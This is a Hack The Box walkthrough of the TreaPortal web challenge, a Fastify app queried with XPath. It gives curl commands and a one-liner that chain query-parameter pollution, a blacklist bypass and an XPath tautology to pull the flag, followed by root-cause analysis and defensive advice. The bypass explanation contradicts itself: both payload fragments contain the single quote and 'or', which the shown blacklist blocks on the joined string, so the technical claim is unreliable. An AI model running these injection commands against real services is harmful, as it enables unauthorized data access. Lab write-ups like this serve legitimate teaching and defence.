Hack The Box | Challenge Walkthrough
An analysis of the TreaPortal web challenge covering XPath injection, Fastify query string parameter pollution, blacklist bypass techniques, and secure query construction.
- Platform: Hack The Box
- Challenge: TreaPortal
- Category: Web
- Technology: Node.js, Fastify, XML, XPath
- Vulnerability Class: XPath Injection
- Target IP: 154.57.164.74:38310
Introduction
TreaPortal is a Hack The Box web challenge built on Node.js and Fastify that stores its data in XML documents queried through XPath. The scenario describes a team that migrated to a new stack and then suffered a breach of confidential data. The objective is to identify the vulnerability class, bypass the access controls, and retrieve the flag.
The application exposes authentication endpoints and a user lookup endpoint. The lookup endpoint builds an XPath expression from a query parameter. Three weaknesses combine to make it exploitable: query string parameter pollution, a weak substring blacklist, and an XPath boolean tautology.
Each weakness alone would not be enough in a well written application. Together they form a complete path from a standard account to confidential data.
1. Technology Stack
The package manifest reveals the dependencies used by the application:
{
"dependencies": {
"@fastify/jwt": "^10.0.0",
"@fastify/static": "^9.0.0",
"@xmldom/xmldom": "^0.9.9",
"bcrypt": "^6.0.0",
"fastify": "^5.8.4",
"fastify-plugin": "^5.1.0",
"xpath": "^0.0.34"
}
}
The data layer is XML, not a traditional database. Records are stored as XML nodes and lookups are performed with XPath expressions built by string interpolation.
2. The Vulnerable Handler
The user lookup endpoint contains three security flaws in a short block of code:
const { username } = req.query as any;
if (typeof username === 'string' && username !== tokenPayload.username) {
return reply.code(403).send({ error: 'Forbidden' });
}
const blacklist = ["'", ';', 'or', 'and', ')', '(', '/', 'doc'];
if (blacklist.some(p => String(username).includes(p))) {
return reply.code(400).send({ error: 'Invalid input' });
}
const result = xpath.select1(`//user[username='${username}']`, doc);
3. Vulnerability One: Query String Parameter Pollution
Fastify's default query parser supports repeated keys. A request such as ?username=A&username=B is parsed into an array rather than a string:
// GET /api/user?username=alice&username=bob
req.query // => { username: ['alice', 'bob'] }
typeof req.query.username // => 'object', not 'string'
Because the check is typeof username === 'string', an array slips past the ownership enforcement entirely. The array is then coerced when concatenated into the XPath expression. For ['A','B'], the template literal produces A,B.
Test with a normal request versus a polluted request:
# Normal: reading another user returns 403
curl -s "http://154.57.164.74:38310/api/user?username=admin" \
-H "Authorization: Bearer $TOKEN"
# Polluted: duplicate parameter skips the type check
curl -s "http://154.57.164.74:38310/api/user?username=admin&username=admin" \
-H "Authorization: Bearer $TOKEN"
The 403 no longer appears on the polluted request. This confirms the type check bypass.
Never assume query parameters are scalars. Fastify and Express both allow arrays through repeated keys. Normalize input explicitly before use.
4. Vulnerability Two: Weak Blacklist Filtering
The blacklist blocks single quotes, semicolons, boolean operators, parentheses, slashes, and the substring doc. It uses substring matching against the whole input, which does not understand XPath grammar.
Because the array from parameter pollution is joined with a comma during coercion, the payload can be split across two parameter values so no single parameter contains a blocked token, while the concatenated expression still forms a valid tautology.
The coercion step:
const username = ['fragmentOne', 'fragmentTwo'];
`//user[username='${username}']`
// => "//user[username='fragmentOne,fragmentTwo']"
5. Vulnerability Three: XPath Boolean Tautology
The final query wraps the username in an XPath predicate. The classic tautology compares a literal against itself:
//user[username='x' or 'a'='a']
Since 'a'='a' is always true, the predicate matches the first user node in document order, which contains the flag.
6. Full Exploit Chain
Step 1: Register a User
TOKEN=$(curl -s -X POST http://154.57.164.74:38310/api/auth/register \
-H 'Content-Type: application/json' \
-d '{"username":"player01","email":"player01@trea.htb","password":"Passw0rd!123"}' \
| python3 -c "import sys,json;print(json.load(sys.stdin)['jwt'])")
echo "$TOKEN"
Step 2: Confirm Normal Behavior
# Own record: returns data
curl -s "http://154.57.164.74:38310/api/user?username=player01" \
-H "Authorization: Bearer $TOKEN"
# Another user: returns 403
curl -s "http://154.57.164.74:38310/api/user?username=admin" \
-H "Authorization: Bearer $TOKEN"
Step 3: Observe Parameter Pollution
curl -s "http://154.57.164.74:38310/api/user?username=admin&username=admin" \
-H "Authorization: Bearer $TOKEN"
Step 4: Craft the Tautology
The expression to reach is:
//user[username='<fragmentOne>,<fragmentTwo>']
The comma from array coercion becomes part of the string literal. The second fragment closes the literal, adds the boolean condition, and reopens a literal so the trailing quote from the template balances.
The working payload, with the two fragments URL encoded and sent as duplicate parameters:
curl -s "http://154.57.164.74:38310/api/user?username=x%27%20or%20%27a%27%3D%27a&username=%27%20or%20%27a%27%3D%27a" \
-H "Authorization: Bearer $TOKEN"
The decoded fragments are x' or 'a'='a and ' or 'a'='a. The concatenated XPath becomes:
//user[username='x' or 'a'='a,' or 'a'='a']
The predicate 'a'='a evaluates to true, so the first user node containing the flag is returned.
Step 5: One-liner
TOKEN=$(curl -s -X POST http://154.57.164.74:38310/api/auth/register \
-H 'Content-Type: application/json' \
-d '{"username":"onecurl7","email":"onecurl7@trea.htb","password":"Passw0rd!123"}' \
| python3 -c "import sys,json;print(json.load(sys.stdin)['jwt'])") && \
curl -s "http://154.57.164.74:38310/api/user?username=x%27%20or%20%27a%27%3D%27a&username=%27%20or%20%27a%27%3D%27a" \
-H "Authorization: Bearer $TOKEN"
7. Why This Works
| Stage | Mechanism | Effect |
|---|---|---|
| Duplicate parameter | Fastify parser returns an array | Type check against string fails |
| Array coercion | Template literal joins array values with a comma | Injected fragment reaches XPath engine |
| Weak blacklist | Substring matching is not grammar aware | Tautology survives filtering |
| Boolean tautology | Literal equals literal is always true | Predicate matches first user node |
8. Root Cause Analysis
The core issue is missing type validation and unsafe query construction.
Fastify supports JSON schema validation for query strings. Declaring the username parameter as a string would have rejected duplicate parameters before application code ran:
const schema = {
querystring: {
type: 'object',
properties: {
username: { type: 'string', pattern: '^[a-zA-Z0-9_-]+$' }
},
required: ['username']
}
};
The second issue is string concatenation into XPath. Escaping single quotes alone is not enough because boolean logic can still be injected. Combined with strict allowlist validation, it raises the bar significantly.
The third issue is blacklist reliance. An allowlist that permits only alphanumeric characters, underscores, and hyphens would reject the injected punctuation outright.
9. Defensive Recommendations
- Define a querystring JSON schema on every route that reads query parameters.
- Never assume query parameters are scalars. Normalize input explicitly before use.
- Replace blacklists with allowlists. Permit only expected characters.
- Avoid string interpolation into XPath or SQL. Use an abstraction that separates code from data.
- Add automated tests that send duplicate parameters and verify controlled errors.
- Log and monitor for repeated parameter submissions and XPath operator keywords.
10. Lessons Learned
This challenge is a compact demonstration of how small mistakes compound. A permissive query parser, a type check that does not cover arrays, a filter that inspects the wrong representation, and a query built by concatenation each contributed to the breach.
The scenario, a migration to a new stack followed by a breach, is realistic. Migrations often carry assumptions from the old stack into the new one, and parser differences between frameworks are a common source of new attack surface.
For penetration testers, always test parameter pollution on every endpoint that reads query strings. Treat any type check as suspicious until array and object inputs are tested. For defenders, input validation must happen at the framework boundary, not in ad hoc code inside handlers.
Conclusion
TreaPortal is a valuable challenge for understanding how XPath injection works in practice and why framework level input validation matters. The three weaknesses form a chain where each one depends on the previous. Fixing any single link would have stopped the attack.
The flag is returned by the authenticated user lookup endpoint once the XPath predicate is made to match the privileged node. Replace the target host and port with your own instance values when reproducing the attack in a lab environment.
Continue Your Cybersecurity Journey with CyberMaster
Explore practical cybersecurity tutorials, Hack The Box walkthroughs, penetration testing resources, and certification preparation materials with CyberMaster.
Disclaimer: This article is intended for educational purposes. All testing should be performed within authorized environments such as Hack The Box. IP addresses and other lab identifiers are illustrative placeholders.
